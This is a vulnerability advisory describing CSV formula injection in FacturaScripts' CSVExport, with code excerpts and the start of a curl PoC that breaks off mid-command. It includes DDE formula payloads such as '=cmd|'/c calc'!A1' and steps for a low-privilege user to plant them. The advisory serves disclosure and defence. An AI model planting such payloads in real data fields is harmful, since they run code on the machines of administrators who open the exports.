FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export
Summary
> Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A low-privilege user (lowpriv) created a customer with nombre = "=SUM(1+1)*cmd|/c calc!A1". An admin then exported ListCliente to CSV via ?action=export&option=CSV. The downloaded file contains the raw payload as the first cell of the nombre column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as =cmd|'/c calc'!A1 that spawn arbitrary processes on the admin workstation.
Core/Lib/Export/CSVExport.php::writeData() wraps every cell in the configured delimiter (") and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with =, +, -, @, \t, or \r as a formula. Because FacturaScripts only sanitises HTML metacharacters (< > " ') on save via Tools::noHtml() (Core/Tools.php:45), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context.
Details
the export does not neutralise leading meta-characters
Core/Lib/Export/CSVExport.php:253-267:
```php
public function writeData(array $data, array $fields = [])
{
if (!empty($fields)) {
$this->writeHeader($fields);
}
foreach ($data as $row) {
$line = [];
foreach ($row as $cell) {
$line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell;
}
$this->csv[] = implode($this->separator, $line);
}
}
```
A string cell is rendered as "<value>". There is no str_starts_with(...) check for the formula trigger characters (= + - @ \t \r per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through addListModelPage(), addModelPage(), addBusinessDocPage(), and addTablePage().
the upstream sanitiser only scrubs HTML, not formulas
Core/Tools.php:45-46:
```php
const HTML_CHARS = ['<', '>', '"', "'"];
const HTML_REPLACEMENTS = ['<', '>', '"', '''];
```
Tools::noHtml() is the canonical input filter that models call from their test() method (e.g. Cliente::test() at Core/Model/Cliente.php:319-321). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the =, +, -, @ characters reach storage verbatim and the export pipeline emits them verbatim.
the export controller hands the payload back to whoever triggers it
Core/Lib/Export/CSVExport.php:240-245:
```php
public function show(Response &$response)
{
$response->headers->set('Content-Type', 'text/csv; charset=utf-8');
$response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv');
$response->setContent($this->getDoc());
}
```
Content-Disposition: attachment plus an .csv extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius.
default permission model exposes the data ingestion
A user role only needs Update/Insert access to one of the default exportable models (Cliente, Proveedor, Producto, Variante, Contacto, etc.) to plant a payload. The admin export surface is reachable on the same controllers via ?action=export&option=CSV. There is no separate confirmation step that warns the admin the export contains untrusted content.
PoC
```bash
# 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente.
# (script in advisory environment, see also the prompt's helper).
# 1. Log in as the low-privilege user and obtain a CSRF token.
TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \
| grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1)
curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \
--data-urlencode "fsNick=lowpriv" \
--data-urlencode "fsPassword=lowpriv1234" \
--data-urlencode "multireqtoken=$TOKEN" \
--data-urlencode "action=login" \
http://127.0.0.1:8081/login -o /dev/null
# 2. Get a fresh CSRF token for the EditCliente form.
TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente
